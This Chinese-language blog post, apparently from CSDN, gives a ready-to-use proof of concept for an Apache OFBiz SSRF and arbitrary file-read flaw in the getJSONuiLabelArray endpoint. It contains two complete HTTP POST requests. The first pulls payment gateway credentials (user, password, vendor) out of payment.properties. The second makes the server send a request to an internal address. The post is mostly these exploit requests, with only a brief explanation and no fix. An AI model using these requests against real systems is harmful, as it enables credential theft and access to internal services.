Apache OFBiz SSRF && 任意配置读取

Apache OFBiz 是一个开源的企业资源计划系统。
在 getJSONuiLabelArray 接口的处理方法 CommonEvents.java#getJSONuiLabelArray 中,由于 UtilProperties.getMessage(resource, resourceKey, locale) 允许从攻击者可控的 labelObject 中接收 resource 和 resourceKey,攻击者可以传入 URL或文件路径,从而进行服务器端请求伪造(SSRF)攻击和任意文件读取。

任意文件读取 poc

以读取 applications/accounting/config/payment.properties 中的几个 key 为例

POST /webtools/control/getJSONuiLabelArray/?USERNAME=&PASSWORD=s&requirePasswordChange=Y HTTP/1.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Cache-Control: no-cache
Pragma: no-cache
Host: 
Content-type: application/x-www-form-urlencoded
Content-Length: 148

requiredLabels={"file:applications/accounting/config/payment.properties":["payment.verisign.user","payment.verisign.pwd","payment.verisign.vendor"]}

SSRF

POST /webtools/control/getJSONuiLabelArray/?USERNAME=&PASSWORD=s&requirePasswordChange=Y HTTP/1.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Cache-Control: no-cache
Pragma: no-cache
Host: 
Content-type: application/x-www-form-urlencoded
Content-Length: 148

requiredLabels={"http://127.0.0.1/":["xxxxxx"]}

这里随便写一个 properties 文件,然后 python -m http.server 8000 起个服务 

漏洞来源

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值